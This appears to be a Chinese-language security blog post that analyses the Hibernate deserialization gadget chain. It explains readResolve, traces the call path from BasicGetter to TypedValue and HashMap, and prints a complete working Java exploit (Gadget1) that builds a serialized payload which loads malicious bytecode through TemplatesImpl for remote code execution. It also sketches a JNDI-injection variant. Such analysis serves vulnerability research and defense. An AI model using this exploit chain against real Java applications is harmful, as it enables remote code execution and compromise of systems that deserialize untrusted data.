Hibernate Gadget Learn

Hibernate Gadget Learn

0x01.Hibernate 简介

Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,它将POJO与数据库表建立映射关系,是一个全自动的ORM框架,hibernate可以自动生成SQL语句,自动执行,使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库。 Hibernate可以应用在任何使用JDBC的场合,既可以在Java的客户端程序使用,也可以在Servlet/JSP的Web应用中使用,最具革命意义的是,Hibernate可以在应用EJB的JaveEE架构中取代CMP,完成数据持久化的重任。

0x02.readResolve

先给出结论,当类中重写了readResolve方法时,在反序列化的过程中会自动调用这个方法,这个方法实际上是为了序列化和反序列化时维护单例模式而产生的。

因为在序列化时会破坏单例,举个例子,我们生成如下的demo类:

package com.example;

import java.io.Serializable;

public class SingletonTest implements Serializable {
    private SingletonTest(){

    }
    private static final SingletonTest test = new SingletonTest();

    public static SingletonTest getInstance(){
        return test;
    }
}

为了维持单例,我们通过getInstance方法来唯一的获取实例,而不能通过构造方法实现,这里我们编写一个测试类来看看序列化和反序列化的结果:

public static void main(String[] args) {
        SingletonTest test1 = SingletonTest.getInstance();
        SingletonTest test2 = null;
        try {
            // 序列化test1
            byte[] bytes = Utils.Serialize(test1);
            test2 = Utils.Unserialize(bytes);
            System.out.println(test1 == test2);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

upload_e5f4d41cb15b78b52d2aa2a083b761d1

在这里可以看到,我们想要维护单例状态的目的被序列化打破了,反序列化得到的对象和通过getInstance得到的不是一个对象,运行结果可以看出,序列化破坏了单例,产生了多个实例。 那我们如何解决呢?可以通过编写getResolve方法:

upload_8cab5ccc1ef1f6951cd06df91461b463

源码层面剖析

我们来看readObject方法:

upload_bb0b448209388a2f64db85ce3a90e9a0

跟进readObject0方法,这里会对Type进行枚举,由于我们的序列化数据是Object,因此我们对应Object的处理部分即可:
upload_d047d4e2ae62c1bc2db5cedaab3c2bd0

  • checkResolve:检查对象,并替换
  • readOrdinaryObject:读取二进制对象

我们先进入readOrdinaryObject()方法

upload_b1953c39daa533c5112f5aac664e0c1a

可以看到,readOrdinaryObject()方法是通过desc.isInstantiable()来判断是否需要new一个对象,如果返回true,方法通过反射的方式调用无参构造方法新建一个对象,否则,返回空。 那我们进入isInstantiable()方法

upload_c54fdd389aea184768eaca131f94bcd6

cons != null是判断类的构造方法是否为空,我们大家应该知道,Class类的构造方法肯定不为空,显然isInstantiable()返回true,也就是说,一定会new 一个对象,且被obj接收。

回到readOrdinaryObject()方法,查看初始化完成后的操作。

upload_04c0e54b59e0585009f19fc4a2bc3591

如果这个if语句成立,就会调用desc.invokeReadResolve方法,并且最终将反序列化得到的obj替换为调用这个方法后的对象,换句话说:若目标类有readResolve方法,那就通过反射的方式调用要被反序列化的类中的readResolve方法,返回一个对象,然后把这个新的对象复制给之前创建的obj(即最终返回的对象)

0x03.Gadget分析

触发点处于org.hibernate.property.BasicPropertyAccessor.BasicGetter#get方法中,这个方法会调用参数类的任意方法:

upload_eb6638c5ea3cedd73018b4eaed8b9100

寻找调用链,在org.hibernate.tuple.component.AbstractComponentTuplizer#getPropertyValue调用了getter的get方法,而这里的getter属性是Getter接口的数组,因此当传入BasicGetter对象时,实际上会调用BasicGetter的get方法

upload_94387b3ebe7962cf90f2ffd2f75c3303

但这里AbstractComponentTuplizer是抽象类,因此我们需要找到一个子类来承接,这里找到了PojoComponentTuplizer类实现了getPropertyValue:

upload_feb05e7e427125464af1fb51aa5f50c6

继续向上寻找调用链,可以发现ComponentType实现了getPropertyValue方法

upload_aba31475c3c9e70b945b43168e4d3536

该类的getHashCode方法实现了对其调用,并且传入的参数为我们要执行任意方法的对象,

upload_11b2bc8ab215fd6a7cd250c5395b18e2

而在org.hibernate.engine.spi.TypedValue中的initTransients方法中调用了上面的方法,并且type和value都可以通过构造方法设置

upload_51f113103e084b88b6f01998b7f18730

upload_83df91868c09348133f2307dab513703

继续向上分析调用链,发现最终在readObject中调用了initTransients方法,这样一条完整的Gadget就呼之欲出了

upload_ada31bdfde2677b3ce08c52e92c49e23

利用细节
上面的Gadget很清晰,也比较容易构造,但在此处还是需要注意一些细节,回到触发点:

upload_30c253bbef2f46e399ee6843957f8b2e

这里的method属性通过transient关键词修饰,也就是说当我们通过writeObject去给method属性赋值时,是不会将method属性的内容写入到序列化数据中的。

这里就运用到了我们前置知识所说的readResolve方法,我们来看一下该类的readResolve:

upload_0d9dfdf9e56bac021a5c81a38276e78f

调用createGetter方法获取一个BasicSetter对象,之所以写在readResolve中,主要是为了让序列化和反序列化过程中,BasicGetter对象保持单例。

我们跟进createGetter方法中:

upload_91fff0e9af4384a079acb2c2970ede00

继续跟进:

upload_1d2b48d387aad5bd530520b8e5ecd834

getGetterOrNull方法中,通过getterMethod方法获取method对象,并通过BasicGetter的构造方法为该对象赋值。

这里把getterMethod方法提取出来:

private static Method getterMethod(Class theClass, String propertyName) {
        Method[] methods = theClass.getDeclaredMethods();
        for ( Method method : methods ) {
            // if the method has parameters, skip it
            if ( method.getParameterTypes().length != 0 ) {
                continue;
            }
            // if the method is a "bridge", skip it
            if ( method.isBridge() ) {
                continue;
            }

            final String methodName = method.getName();

            // try "get"
            if ( methodName.startsWith( "get" ) ) {
                String testStdMethod = Introspector.decapitalize( methodName.substring( 3 ) );
                String testOldMethod = methodName.substring( 3 );
                if ( testStdMethod.equals( propertyName ) || testOldMethod.equals( propertyName ) ) {
                    return method;
                }
            }

            // if not "get", then try "is"
            if ( methodName.startsWith( "is" ) ) {
                String testStdMethod = Introspector.decapitalize( methodName.substring( 2 ) );
                String testOldMethod = methodName.substring( 2 );
                if ( testStdMethod.equals( propertyName ) || testOldMethod.equals( propertyName ) ) {
                    return method;
                }
            }
        }

        return null;
    }

该方法的作用是遍历theClass中的所有方法,查找以get或is开头的并且去掉get或is后和propertyName相同的method并返回。

而这两个属性我们都可以通过构造方法传递,因此对于我们来说是可控的,可以通过控制这两个属性来间接给method属性传值。

既然可以调用任意类的getter方法,因此自然想到了TemplatesImpl来加载恶意字节码类实现RCE

0x04.构造Poc

知道了大致的链子之后,再来从触发点到反序列化点梳理一遍,触发点在BasicGetter类中的get方法,我们想要调用TemplatesImpl类的getOutputProperties方法:

upload_6c0e869fd1492fef4617be9126b668ce

由于这里该类的Method属性是transiant修饰,而由于该类重写了readResolve方法,反序列化时会返回readResolve方法返回的对象,

upload_f097412ea268b3acc8dbfc4e86a6e444

upload_404b4bc2de226d34aa0792fe913005a6

upload_48904a6112d36e4aa8007130f8f7361f

反序列化后这里就会通过对应的propertyName找到getter来生成这个BasicSetter对象,这样就绕过了transiant修饰符的限制

因此这一部分我们通过反射的方式来生成:

upload_3bc2aa343c055aae2d3d995ab34e1d7d

从basicGetter的getMethod方法可以看出,这一部分已经被我们构造完成,下面继续向上构造

得到BasicGetter对象后,要将BasicGetter的内容赋值到AbstractComponentTuplizer的getters属性中,该类是一个抽象类,因此我们要找其实现类PojoComponentTuplizer

upload_b6ca5a266a0c738342d04519f22d3d38

这个类如果使用构造方法实例化并不是特别方便,这里通过无参构造的方式,调用ReflectionFactory来实例化该类,然后在反射修改其父类的getters属性为BasicGetter对象数组:

upload_05246c2608bb1a059a1803baeee9f2fb

这里可以通过pojoComponentTuplizer.getPropertyValue(templates,0);来进行简单的验证,从这里到触发点都是没有问题的,下面继续向上构造

upload_0900077c615b19b8f1493dcebf20ca64

找到ComponentType类中会调用componentTuplizergetPropertyValue,并且componentTuplizerComponentTuplizer类,而pojoComponentTuplizer间接继承它,因此是一个完美的贴合,由于ComponentType的构造方法也不方便,同样采取无参构造的方式,再来反射修改其属性

upload_bcb45cfe0dad0c1dae8abf666f9c49e3

通过可以通过componentType.getPropertyValue(templates,0);来验证链是否完整

继续向上构造,这里我们主要利用componentTypegetHashCode方法

upload_18d38c4c4ad23346abed1897c31f2159

这里我们只需要调用一次,因此将propertySpan属性修改为1即可:

upload_ebc896c0d2bae3ea0b4f6b6747a4a721

继续向上构造,这里发现TypedValueinitTransients调用了getHashCode方法,并且initTransients又在反序列化时调用

upload_0e97b258fe0ab9acc58fb860556c5cf6

而Type和Value均可控,因此在这里我们将value设置为TemplatesImpl实例,而Type则设置为componentType

到这里Hibernate1的Gadget就结束了,但是真的如此吗?

0x05. 完整Gadget

我们先来反序列化测试一下:

upload_7b3ac8a0aa4343997b87c694ba766a8f

发现在反序列化时并不会调用这个匿名内部类中的方法,因为在这里直接调用initTransients方法时,其目的只是给this.hashcode做一个方法的声明,并不会调用内部类中的initialize方法,只有在hashcode初始化时,才会调用内部类的方法。

因此我们如果调用typedValue的hashcode方法,这里会进行hashcode初始化操作:

upload_1c08b13bfd3ef5b2f686e0ce5660e536

upload_08f8a24423aef29f947ee2532df8bccb

upload_575417dcfb3a7303386c38223569e5e5

会调用initialize方法从而最后实现RCE,提到这里既然可以通过调用TypedValue类的hashcode方法,而我们知道HashMap反序列化的最终结果就是调用任意类的hashcode方法,因此完整的Gadget呼之欲出了

upload_d617f5ff2417c1d77feb03085d511480

贴一下完整的EXP:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.BasicPropertyAccessor;
import org.hibernate.property.Getter;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;

public class Gadget1 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = Utils.makeTemplatesImpl();
        Method getOutputProperties = templates.getClass().getDeclaredMethod("getOutputProperties");
        Class<BasicPropertyAccessor.BasicGetter> basicGetterClass = (Class<BasicPropertyAccessor.BasicGetter>) Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
        Constructor<?> basicCons = basicGetterClass.getDeclaredConstructor(Class.class, Method.class,String.class);
        basicCons.setAccessible(true);
        BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicCons.newInstance(templates.getClass(),getOutputProperties,"OutputProperties");
        // 实例化 PojoComponent
        Class<PojoComponentTuplizer> pojoComponentTuplizerClass = (Class<PojoComponentTuplizer>) Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
        Constructor<?> pojoCons = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(pojoComponentTuplizerClass,Object.class.getDeclaredConstructor());
        pojoCons.setAccessible(true);
        PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) pojoCons.newInstance();
        Utils.setFieldValue(pojoComponentTuplizer,"getters", new Getter[]{basicGetter});
        // 实例化 ComponentType
        Class<ComponentType> componentTypeClass = (Class<ComponentType>) Class.forName("org.hibernate.type.ComponentType");
        Constructor<?> componetCons = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(componentTypeClass,Object.class.getDeclaredConstructor());
        componetCons.setAccessible(true);
        ComponentType componentType = (ComponentType) componetCons.newInstance();
        Utils.setFieldValue(componentType,"componentTuplizer", pojoComponentTuplizer);
        Utils.setFieldValue(componentType,"propertySpan",1);
        // 实例化TypedValue
        TypedValue typedValue = new TypedValue(componentType,templates);
        // 接 HashMap 反序列化
        HashMap map = new HashMap();
        Utils.setFieldValue(map, "size", 1);
        Class clazz5 = Class.forName("java.util.HashMap$Node");
        Constructor nodeCons = clazz5.getDeclaredConstructor(int.class, Object.class, Object.class, clazz5);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(clazz5,1);
        Array.set(tbl, 0, nodeCons.newInstance(1,typedValue,typedValue,null));
        Utils.setFieldValue(map,"table",tbl);
        byte[] bytes = Utils.Serialize(map);
        Utils.Unserialize(bytes);

    }
}

0x06. Hibernate2 Gadget

yso里面存在两种Hibernate的利用方式,第一种已经详细分析过了,而第二种前面的利用链和前者可以说是一模一样的,只是在最后调用getter方法时,使用了JdbcRowTemplate来进行JNDI注入

利用getDatabaseMetaData方法中的connect方法来实现JNDI注入

upload_b02a6c9bff43078e69af374dcb1cf628

这里以JDK 8u91为例,因为高版本还需要进行相关绕过:

当jdk版本大于等于JDK 6u132、JDK 7u122、JDK 8u113 之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。

upload_ff6cd3a5a2f2f32a2af0ff41fa35f5d5

成功触发JNDI,实现RCE

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇